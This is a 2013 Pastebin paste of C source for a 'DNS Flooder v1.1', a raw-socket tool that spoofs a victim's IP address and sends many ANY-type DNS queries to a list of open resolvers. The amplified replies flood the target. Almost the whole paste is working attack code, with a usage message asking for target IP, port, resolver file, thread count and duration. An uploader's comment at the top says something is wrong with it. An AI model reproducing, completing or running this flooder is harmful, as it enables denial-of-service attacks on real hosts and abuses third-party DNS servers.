Advertisement
Guest User

50X

a guest
Jul 15th, 2013
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.41 KB | None | 0 0
  1. 'FML IDK WHATS RONG
  2. #include <time.h>
  3. #include <pthread.h>
  4. #include <unistd.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/udp.h>
  11. #include <arpa/inet.h>
  12.  
  13. #define MAX_PACKET_SIZE 8192
  14. #define PHI 0x9e3779b9
  15. #define PACKETS_PER_RESOLVER 25
  16.  
  17. static uint32_t Q[4096], c = 362436;
  18.  
  19. struct list
  20. {
  21. struct sockaddr_in data;
  22. char domain[512];
  23. int line;
  24. struct list *next;
  25. struct list *prev;
  26. };
  27. struct list *head;
  28.  
  29. struct thread_data{
  30. int thread_id;
  31. struct list *list_node;
  32. struct sockaddr_in sin;
  33. int port;
  34. };
  35.  
  36. struct DNS_HEADER
  37. {
  38. unsigned short id; // identification number
  39.  
  40. unsigned char rd :1; // recursion desired
  41. unsigned char tc :1; // truncated message
  42. unsigned char aa :1; // authoritive answer
  43. unsigned char opcode :4; // purpose of message
  44. unsigned char qr :1; // query/response flag
  45.  
  46. unsigned char rcode :4; // response code
  47. unsigned char cd :1; // checking disabled
  48. unsigned char ad :1; // authenticated data
  49. unsigned char z :1; // its z! reserved
  50. unsigned char ra :1; // recursion available
  51.  
  52. unsigned short q_count; // number of question entries
  53. unsigned short ans_count; // number of answer entries
  54. unsigned short auth_count; // number of authority entries
  55. unsigned short add_count; // number of resource entries
  56. };
  57.  
  58. //Constant sized fields of query structure
  59. struct QUESTION
  60. {
  61. unsigned short qtype;
  62. unsigned short qclass;
  63. };
  64.  
  65. //Constant sized fields of the resource record structure
  66. struct QUERY
  67. {
  68. unsigned char *name;
  69. struct QUESTION *ques;
  70. };
  71.  
  72. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  73. {
  74. int lock = 0 , i;
  75. strcat((char*)host,".");
  76.  
  77. for(i = 0 ; i < strlen((char*)host) ; i++)
  78. {
  79. if(host[i]=='.')
  80. {
  81. *dns++ = i-lock;
  82. for(;lock<i;lock++)
  83. {
  84. *dns++=host[lock];
  85. }
  86. lock++; //or lock=i+1;
  87. }
  88. }
  89. *dns++='\0';
  90. }
  91.  
  92. void init_rand(uint32_t x)
  93. {
  94. int i;
  95.  
  96. Q[0] = x;
  97. Q[1] = x + PHI;
  98. Q[2] = x + PHI + PHI;
  99.  
  100. for (i = 3; i < 4096; i++)
  101. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  102. }
  103.  
  104. uint32_t rand_cmwc(void)
  105. {
  106. uint64_t t, a = 18782LL;
  107. static uint32_t i = 4095;
  108. uint32_t x, r = 0xfffffffe;
  109. i = (i + 1) & 4095;
  110. t = a * Q[i] + c;
  111. c = (t >> 32);
  112. x = t + c;
  113. if (x < c) {
  114. x++;
  115. c++;
  116. }
  117. return (Q[i] = r - x);
  118. }
  119.  
  120. /* function for header checksums */
  121. unsigned short csum (unsigned short *buf, int nwords)
  122. {
  123. unsigned long sum;
  124. for (sum = 0; nwords > 0; nwords--)
  125. sum += *buf++;
  126. sum = (sum >> 16) + (sum & 0xffff);
  127. sum += (sum >> 16);
  128. return (unsigned short)(~sum);
  129. }
  130.  
  131. void setup_udp_header(struct udphdr *udph)
  132. {
  133.  
  134. }
  135.  
  136. void *flood(void *par1)
  137. {
  138. struct thread_data *td = (struct thread_data *)par1;
  139.  
  140. char strPacket[MAX_PACKET_SIZE];
  141. int iPayloadSize = 0;
  142.  
  143. struct sockaddr_in sin = td->sin;
  144. struct list *list_node = td->list_node;
  145. int iPort = td->port;
  146.  
  147. int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  148. if(s < 0)
  149. {
  150. fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  151. exit(-1);
  152. }
  153.  
  154. //init random
  155. init_rand(time(NULL));
  156.  
  157. // Clear the data
  158. memset(strPacket, 0, MAX_PACKET_SIZE);
  159.  
  160. // Make the packet
  161. struct iphdr *iph = (struct iphdr *) &strPacket;
  162. iph->ihl = 5;
  163. iph->version = 4;
  164. iph->tos = 0;
  165. iph->tot_len = sizeof(struct iphdr) + 38;
  166. iph->id = htonl(54321);
  167. iph->frag_off = 0;
  168. iph->ttl = MAXTTL;
  169. iph->protocol = IPPROTO_UDP;
  170. iph->check = 0;
  171. iph->saddr = inet_addr("93.237.130.123");
  172.  
  173. iPayloadSize += sizeof(struct iphdr);
  174.  
  175.  
  176. struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  177. udph->source = htons(iPort);
  178. udph->dest = htons(53);
  179. udph->check = 0;
  180.  
  181. iPayloadSize += sizeof(struct udphdr);
  182.  
  183. struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  184. dns->id = (unsigned short) htons(rand_cmwc());
  185. dns->qr = 0; //This is a query
  186. dns->opcode = 0; //This is a standard query
  187. dns->aa = 0; //Not Authoritative
  188. dns->tc = 0; //This message is not truncated
  189. dns->rd = 1; //Recursion Desired
  190. dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  191. dns->z = 0;
  192. dns->ad = 0;
  193. dns->cd = 0;
  194. dns->rcode = 0;
  195. dns->q_count = htons(1); //we have only 1 question
  196. dns->ans_count = 0;
  197. dns->auth_count = 0;
  198. dns->add_count = htons(1);
  199.  
  200. iPayloadSize += sizeof(struct DNS_HEADER);
  201.  
  202. sin.sin_port = udph->source;
  203. iph->saddr = sin.sin_addr.s_addr;
  204. iph->daddr = list_node->data.sin_addr.s_addr;
  205. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  206.  
  207.  
  208. char strDomain[512];
  209. int i;
  210. int j = 0;
  211. int iAdditionalSize = 0;
  212. while(1)
  213. {
  214. if(j==2){
  215. usleep(100);
  216. j=0;
  217. }
  218.  
  219.  
  220.  
  221. //set the next node
  222. list_node = list_node->next;
  223.  
  224. //Clear the old domain and question
  225. memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  226.  
  227. //add the chosen domain and question
  228. iAdditionalSize = 0;
  229.  
  230. unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  231.  
  232. strcpy(strDomain, list_node->domain);
  233. ChangetoDnsNameFormat(qname, strDomain);
  234. //printf("!!%s %d\n", list_node->domain, list_node->line);
  235.  
  236. iAdditionalSize += strlen(qname) + 1;
  237.  
  238. struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  239. qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  240. qinfo->qclass = htons(1);
  241.  
  242. iAdditionalSize += sizeof(struct QUESTION);
  243.  
  244. strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  245. strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  246. strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  247. strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  248. strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  249. strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  250. strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  251. strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  252. strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  253. strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  254. strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  255. strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  256.  
  257. iAdditionalSize += 11;
  258.  
  259.  
  260. //set new node data
  261. iph->daddr = list_node->data.sin_addr.s_addr;
  262.  
  263. udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  264. iph->tot_len = iPayloadSize + iAdditionalSize;
  265.  
  266. udph->source = htons(rand_cmwc() & 0xFFFF);
  267. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  268.  
  269. //send
  270. for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  271. {
  272. sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  273. }
  274.  
  275. j++;
  276. }
  277. }
  278.  
  279. void ParseResolverLine(char *strLine, int iLine)
  280. {
  281. char caIP[32] = "";
  282. char caDNS[512] = "";
  283.  
  284. int i;
  285. char buffer[512] = "";
  286.  
  287. int moved = 0;
  288.  
  289. for(i = 0; i < strlen(strLine); i++)
  290. {
  291. if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  292. {
  293. moved++;
  294. continue;
  295. }
  296.  
  297. if(moved == 0)
  298. {
  299. caIP[strlen(caIP)] = (char) strLine[i];
  300. }
  301. else if(moved == 1)
  302. {
  303. caDNS[strlen(caDNS)] = (char) strLine[i];
  304. }
  305. }
  306. //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  307.  
  308. if(head == NULL)
  309. {
  310. head = (struct list *)malloc(sizeof(struct list));
  311.  
  312. bzero(&head->data, sizeof(head->data));
  313.  
  314. head->data.sin_addr.s_addr=inet_addr(caIP);
  315. head->data.sin_port=htons(53);
  316. strcpy(head->domain, caDNS);
  317. head->line = iLine;
  318. head->next = head;
  319. head->prev = head;
  320. }
  321. else
  322. {
  323. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  324.  
  325. memset(new_node, 0x00, sizeof(struct list));
  326.  
  327. new_node->data.sin_addr.s_addr=inet_addr(caIP);
  328. new_node->data.sin_port=htons(53);
  329. strcpy(new_node->domain, caDNS);
  330. new_node->prev = head;
  331. head->line = iLine;
  332. new_node->next = head->next;
  333. head->next = new_node;
  334. }
  335. }
  336.  
  337. int main(int argc, char *argv[ ])
  338. {
  339. if(argc < 4)
  340. {
  341. fprintf(stderr, "Invalid parameters!\n");
  342. fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  343. fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  344. exit(-1);
  345. }
  346.  
  347. // printf("1");
  348. head = NULL;
  349.  
  350. char *strLine = (char *) malloc(256);
  351. strLine = memset(strLine, 0x00, 256);
  352.  
  353. char strIP[32] = "";
  354. char strDomain[256] = "";
  355.  
  356. int iLine = 0; // 0 = ip, 1 = domain.
  357.  
  358. FILE *list_fd = fopen(argv[3], "r");
  359. while(fgets(strLine, 256, list_fd) != NULL)
  360. {
  361. ParseResolverLine(strLine, iLine);
  362. iLine++;
  363. }
  364. //printf("2");
  365.  
  366. int i = 0;
  367. int num_threads = atoi(argv[4]);
  368.  
  369. struct list *current = head->next;
  370. pthread_t thread[num_threads];
  371. struct sockaddr_in sin;
  372. sin.sin_family = AF_INET;
  373. sin.sin_port = htons(0);
  374. sin.sin_addr.s_addr = inet_addr(argv[1]);
  375. struct thread_data td[num_threads];
  376.  
  377. int iPort = atoi(argv[2]);
  378. //printf("3");
  379. // printf("Target: %s:%d\n", argv[1], iPort);
  380.  
  381. for(i = 0; i < num_threads; i++)
  382. {
  383. td[i].thread_id = i;
  384. td[i].sin= sin;
  385. td[i].list_node = current;
  386. td[i].port = iPort;
  387. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  388. }
  389. //printf("4");
  390. // fprintf(stdout, "Starting Flood...\n");
  391.  
  392. if(argc > 4)
  393. {
  394. sleep(atoi(argv[5]));
  395. }
  396. else
  397. {
  398. while(1)
  399. {
  400. sleep(1);
  401. }
  402. }
  403. //printf("5");
  404. return 0;
  405. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement